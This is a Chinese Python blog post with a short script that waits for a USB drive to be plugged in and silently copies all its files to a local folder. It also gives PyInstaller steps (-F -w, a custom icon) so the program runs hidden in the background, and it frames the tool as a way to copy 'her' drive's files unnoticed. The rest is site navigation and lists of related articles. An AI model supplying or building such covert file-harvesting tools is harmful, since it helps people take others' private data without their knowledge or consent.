仅用几行Python代码就能复制她的U盘文件?


Posted in Python onJune 26, 2021

代码

# -*- coding:utf-8 -*-
import os
import time
from datetime import datetime
import shutil
 
# U盘的盘符
usb_path = "E:/"
# 要复制到的路径
save_path = "D:/haha"
 
while (True):
    if os.path.exists(usb_path):
        shutil.copytree(usb_path, os.path.join(save_path, datetime.now().strftime("%Y%m%d_%H%M%S")))
        break
    else:
        time.sleep(10)

上面就是所有的代码,代码有两个地方要改成你自己的路径,我在代码里注释了

  • usb_path就是U盘的盘符,比如你的电脑有C,D盘,那么U盘插上来以后路径就是E盘
  • save_path就是你要把复制的文件保存在哪里

Python文件打包成exe

1. 在命令行用pip安装 pyinstaller包

pip install pyinstaller

2.下载安装pyinstaler运行时所需要的windows扩展pywin32

mhammond/pywin32

选择最新版的下载,注意要选择对应的python版本(version)和python位数(bittedness)

通过在命令行输入python查看python版本和位数

如下所示为python3.6的32位,需要下载[pywin32-223.win32-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 32 bit (Intel)] on win32

如下所示为python3.6的64位,需要下载[pywin32-223.win-amd64-py3.6.exe]

Python 3.6.3 ... [MSC v.1900 64 bit (AMD64)] on win32

3.在命令行中直接输入下面的指令即可

pyinstaller [opts] yourprogram.py

参数含义

-F    指定打包后只生成一个exe格式的文件(建议写上这个参数)

-D    ?onedir 创建一个目录,包含exe文件,但会依赖很多文件(默认选项)

-c    ?console, ?nowindowed 使用控制台,无界面(默认)

-w    ?windowed, ?noconsole 使用窗口,无控制台

-p    添加搜索路径,让其找到对应的库。

-i    改变生成程序的icon图标(比如给女朋友写的程序,换个好看的图标,默认的很丑)

实例说明

比如你有个python程序叫test.py,绝对路径在[D:\project],打包成一个exe格式的文件

pyinstaller -F D:\project\test.py

条件同上,如果还希望没有控制台的黑框框,在进程中偷偷运行

pyinstaller -F -w D:\project\test.py

条件同上,如果还希望更换程序图标

pyinstaller -F -w -i D:\project\test.ico D:\project\test.py

运行程序

最后双击打开生成的exe文件,你看不到界面,但是可以在任务管理器的后台进程中找到,当有U盘插入,就会自动复制到你设定的地址,然后进程就会自动关闭。

仅用几行Python代码就能复制她的U盘文件?

到此这篇关于仅用几行Python代码就能复制她的U盘文件?的文章就介绍到这了,更多相关Python代码复制U盘文件内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python中sleep函数用法实例分析
Apr 29 Python
Python中方法链的使用方法
Feb 23 Python
Python 实现淘宝秒杀的示例代码
Jan 02 Python
Python实现读取及写入csv文件的方法示例
Jan 12 Python
python实现flappy bird小游戏
Dec 24 Python
Python面向对象程序设计类变量与成员变量、类方法与成员方法用法分析
Apr 12 Python
11个Python Pandas小技巧让你的工作更高效(附代码实例)
Apr 30 Python
python自动生成model文件过程详解
Nov 02 Python
python 线程的五个状态
Sep 22 Python
Django URL参数Template反向解析
Nov 24 Python
用python对excel查重
Dec 07 Python
浅谈tf.train.Saver()与tf.train.import_meta_graph的要点
May 26 Python
总结几个非常实用的Python库
Jun 26 #Python
手残删除python之后的补救方法
Python办公自动化之教你用Python批量识别发票并录入到Excel表格中
Python Pandas模块实现数据的统计分析的方法
Jun 24 #Python
FP-growth算法发现频繁项集——发现频繁项集
能让Python提速超40倍的神器Cython详解
Jun 24 #Python
FP-growth算法发现频繁项集——构建FP树
You might like
PHP读MYSQL中文乱码的解决方法
2006/12/17 PHP
nginx+php-fpm配置文件的组织结构介绍
2012/11/07 PHP
关于PHP session 存储方式的详细介绍
2013/06/25 PHP
gearman中worker常驻后台,导致MySQL server has gone away的解决方法
2020/02/27 PHP
jquery text()要注意啦
2009/10/30 Javascript
jquery获得下拉框值的代码
2011/08/13 Javascript
js调用webservice中的方法实现思路及代码
2013/02/25 Javascript
使用JS获取当前地理位置方法汇总
2014/12/18 Javascript
JQuery中绑定事件(bind())和移除事件(unbind())
2015/02/27 Javascript
JavaScript+html5 canvas绘制的小人效果
2016/01/27 Javascript
基于RequireJS和JQuery的模块化编程——常见问题全面解析
2016/04/14 Javascript
jQuery EasyUI封装简化操作
2016/09/18 Javascript
JS中substring与substr的用法
2016/11/16 Javascript
JS ES6中setTimeout函数的执行上下文示例
2017/04/27 Javascript
webpack处理 css\less\sass 样式的方法
2017/08/21 Javascript
vue.js组件vue-waterfall-easy实现瀑布流效果
2017/08/22 Javascript
深入浅出vue图片路径的实现
2019/09/04 Javascript
vue-video-player 断点续播的实现
2021/02/01 Vue.js
利用Python脚本在Nginx和uwsgi上部署MoinMoin的教程
2015/05/05 Python
使用Django Form解决表单数据无法动态刷新的两种方法
2017/07/14 Python
解决python3.5 正常安装 却不能直接使用Tkinter包的问题
2019/02/22 Python
Python中使用__new__实现单例模式并解析
2019/06/25 Python
Selenium 滚动页面至元素可见的方法
2020/03/18 Python
Kears 使用:通过回调函数保存最佳准确率下的模型操作
2020/06/17 Python
django template实现定义临时变量,自定义赋值、自增实例
2020/07/12 Python
浅谈anaconda python 版本对应关系
2020/10/07 Python
Python如何利用Har文件进行遍历指定字典替换提交的数据详解
2020/11/05 Python
OpenCV+Python3.5 简易手势识别的实现
2020/12/21 Python
CSS3 实现图形下落动画效果
2020/11/13 HTML / CSS
Canvas系列之滤镜效果
2019/02/12 HTML / CSS
《这儿真好》教学反思
2014/02/22 职场文书
倡议书范文格式
2014/05/12 职场文书
清正廉洁演讲稿
2014/05/22 职场文书
动漫设计与制作专业推荐信
2014/07/07 职场文书
学生会竞选演讲稿纪检部
2014/08/25 职场文书
文明和谐家庭事迹材料(2016精选版)
2016/02/29 职场文书